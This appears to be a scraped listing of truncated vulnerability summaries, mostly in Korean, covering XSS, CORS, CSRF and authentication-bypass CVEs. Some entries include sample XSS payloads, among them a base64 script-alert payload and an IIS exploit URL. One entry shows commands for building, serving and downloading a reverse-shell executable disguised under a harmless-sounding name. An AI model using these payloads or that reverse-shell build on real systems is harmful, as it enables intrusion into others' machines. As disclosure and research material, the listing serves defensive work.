CVE-2022-3546

CVE-2022-3546 https://vulners.com/cve/CVE-2022-3546 SourceCodester Simple Cold Storage Management System 1.0에서 취약점이 발견되었으며 문제가 있는 것으로 분류되었습니다. 이 문제의 영향을 받는 것은 Create User Handler 구성 요소의 /csms/admin/?page=user/list 파일의 알려지지 않은 일부 기능입니다. First Name/Last Name 인수의 조작은 크로스 사이트 스크립팅으로 이어집니다. 공격은 원격으로 실...

CVE-2025-60654

CVE-2025-60654 - 저장형 교차 사이트 스크립팅XSS 취약점 광고 설명란 | ---|--- 연구자| DotAdrien 심각도| 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 소프트웨어| Script Pag 설명...

CVE-2025-57926

Sink: WordPress Core의 메커니즘에 따르면 게시물 콘텐츠에서 XSS가 차단되지만, 이 플러그인을 사용하면 콘텐츠가 인코딩된 후 렌더링 시 디코딩되어 의도치 않게 XSS 취약점이 발생합니다." PoC: base64로 인코딩된 페이로드 는 PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==입니다...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell 예시: root@kitploit: sudo apt install nim 이에 맞게 스크립트를 업데이트하세요 root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget http://tun0:8888/spoofer-scheduler.exe -o...

osticket-stored-xss-security-assessment

CVE-2026-36214 - Bootstrap Tooltip을 통한 osTicket 저장형 XSS 컨설턴트 스타일 사이버보안 보고서 비즈니스 영향, 수정 방안, 완화 전략을 포함한 osTicket 저장형 크로스사이트 스크립팅에 대한 전문 취약점 평가 보고서입니다. 📍 보고서 요약...

CVE-2026-54519

CVE-2026-54519 ai-agent-automation missing ownership checks in memory APIs allowed cross-user memory read and deletion. Primary advisory: GHSA-qv97-83w4-ff86 Researcher credit: @chaitanyagarware At a Glance Field| Value ---|--- CVE| CVE-2026-54519 GHSA| GHSA-qv97-83w4-ff86 Project|...

CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass

CVE-2026-24858 | FortiCloud SSO 인증 우회 요약 FortiCloud SSOSingle-Sign-On는 FortiGate/FortiManager/FortiAnalyzer를 등록하면 공장 기본값으로 활성화되는 기능으로, 여기에 심각한 인증 우회 결함이 존재합니다. 공격자가 FortiCloud 계정무료 또는 유료을 보유하고 있다면, 자신의 SSO 토큰을 재사용하여 다른 고객의 장비아래 나열된 빌드 이하에 비밀번호를 알지 못한 채 로그인할 수 있습니다. 익스플로잇 이후에는 전체 관리자 GUI 및 루트 셸 접근...

CVE-2026-92359 ag-ui-protocol ag-ui CORSMiddleware utils.py create_strands_app cross-domain policy

A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. The affected element is the function createstrandsapp of the file integrations/aws-strands/python/src/aguistrands/utils.py of the component CORSMiddleware. The manipulation results in permissive cross-domain policy with untrusted...

CVE-2026-92359 ag-ui-protocol ag-ui CORSMiddleware utils.py create_strands_app cross-domain policy

A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. The affected element is the function createstrandsapp of the file integrations/aws-strands/python/src/aguistrands/utils.py of the component CORSMiddleware. The manipulation results in permissive cross-domain policy with untrusted...

CVE-2026-92359

CVE-2026-92359 affects ag-ui-protocol ag-ui 0.3.0 , specifically the CORSMiddleware component in the create_strands_app function within integrations/aws-strands/python/src/ag_ui_strands/utils.py. The root cause is a permissive cross-domain policy that allows untrusted domains, potentially enablin...

CVE-2020-6519

Chromium 83 Zero Day 전체 CSP 우회 크로스 플랫폼 CVE-2020-6519 기술 문서 POC 크로미움 프로젝트에 보고된 대로...

CVE-2025-55462

CVE-2025-55462 취약점 요약 Eramba Community 및 Enterprise Edition v3.26.0에서 CORSCross-Origin Resource Sharing 설정 오류가 확인되었습니다. 애플리케이션이 /system-api/login 엔드포인트에서 Access-Control-Allow-Origin 응답 헤더에 공격자가 제어하는 Origin 헤더를 반영하면서 동시에 Access-Control-Allow-Credentials: true를 설정합니다. 이 구성은 유효한 자격 증명이 제공될 경우 교차 출처 ...

Vehicle-Service-Management-System-MyAccount-Stored-Cross-Site-Scripting-XSS

CVE-2021-46068 익스플로잇 제목: Vehicle Service Management System - 'MyAccount' 저장형 크로스 사이트 스크립팅 XSS 익스플로잇 작성자: SANU P.L CVE: CVE-2021-46068 CVSS: 4.8 MEDIUM 참고 자료: https://www.plsanu.com/vehicle-service-management-system-myaccount-stored-cross-site-scripting-xss...

CVE-2022-29380

CVE-2022-29380 CVE-2022-29380 root@kitploit: Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References...

CVE-2025-31033

⚠️ CVE-2025-31033 - WordPress Buddypress Humanity 플러그인 CSRF 취약점 버전 = 1.2 🛡️ 취약점 요약 WordPress용 Buddypress Humanity 플러그인버전 = 1.2은 Cross-Site Request Forgery CSRF 에 취약합니다. 이 취약점으로 인해 공격자는 권한이 높은 사용자예: 관리자가 보안 질문 및 답변과 같은 플러그인 설정을 알지 못한 채 수정하도록 강제하여 사용자 인증 로직을 우회할 수 있습니다. 🐞 취약점 유형 Cross Site Request...

CVE-2017-0055-PoC

CVE-2017-0055 PoC Microsoft IIS 7.0/7.5/8.0/8.5/10 /UNCPATH/ 크로스 사이트 스크립팅 참조: https://nvd.nist.gov/vuln/detail/CVE-2017-0055 기본 점수: 6.1 심각도: 중간 익스플로잇: http://vulniis/uncpath/%3Cimg%20onerror=alert'xss'%20src=/%3E:/...

Vehicle-Service-Management-System-Service-Requests-Stored-Cross-Site-Scripting-XSS

CVE-2021-46070 Exploit Title: Vehicle Service Management System - 'Service Requests' 저장형 교차 사이트 스크립팅 XSS Exploit Author: SANU P.L CVE: CVE-2021-46070 CVSS: 4.8 MEDIUM 참조: https://www.plsanu.com/vehicle-service-management-system-service-requests-stored-cross-site-scripting-xss...

halo-cors-csrf-CVE-2026-67921

CVE-2026-67921: Halo CMS CORS設定ミス + CSRF保護バイパス複合攻撃 概要 Halo CMS バージョン2.25.4以前には、2つのセキュリティ設定ミスにより深刻な複合攻撃の脆弱性が存在します: 1. CORS設定ミス : CORSポリシーが任意のオリジンをcredentials: trueとともに許可している 2. CSRF保護バイパス : すべてのAPIエンドポイント/api/、/apis/がCSRF保護から除外されている...

CVE-2023-32961

CVE-2023-32961 이 저장소는 Wordpress Zotpress 플러그인의 XSS 취약점에 관한 것입니다. 구성 요소 세부 정보 구성 요소 이름 Zotpress 취약한 버전 ≤ 7.3.3 구성 요소 슬러그 zotpress 구성 요소 링크 https://wordpress.org/plugins/zotpress/ 사전 요구 사항 인증되지 않음 취약점 세부 정보 짧은 설명 zotpress/lib/admin/admin.accounts.oauth.php의 getrequesttoken 함수는 XSS 공격에 취약합니다. 재현 방법...

CVE-2023-29439

CVE-2023-29439 이 저장소는 Wordpress Foogallery 플러그인의 XSS 취약점에 관한 것입니다. 취약점 세부 정보 설명 Foogallery 2.2.35 및 이전 버전에서는 foogallery/includes/admin/class-gallery-attachment-modal.php 파일의 foogalleryimageeditormodal 함수가 XSS 공격에 취약합니다. 사전 요구 사항 인증 불필요 개념 증명PoC 1. Foogallery 설정 → 관리자 → 고급 첨부 파일 모달 활성화 2. 다음 URL 전...